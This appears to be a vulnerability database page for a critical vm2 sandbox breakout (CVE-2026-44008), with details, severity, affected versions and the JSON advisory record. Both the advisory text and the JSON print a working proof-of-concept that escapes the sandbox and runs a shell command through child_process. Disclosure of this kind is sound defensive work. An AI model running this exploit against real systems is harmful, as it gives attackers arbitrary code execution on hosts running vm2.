GHSA-9QJ6-QJGG-37QQ

Vulnerability from github – Published: 2026-05-08 15:58 – Updated: 2026-05-14 20:37
VLAI
Summary
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
    set(value) {
        a.f = Buffer.prototype.inspect;
        value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
    }
});
new Buffer(a);
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T15:58:48Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst a = [];\nObject.defineProperty(Array.prototype, 0, {\n\tset(value) {\n\t\ta.f = Buffer.prototype.inspect;\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n\t}\n});\nnew Buffer(a);\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "id": "GHSA-9qj6-qjgg-37qq",
  "modified": "2026-05-14T20:37:08Z",
  "published": "2026-05-08T15:58:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44008"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.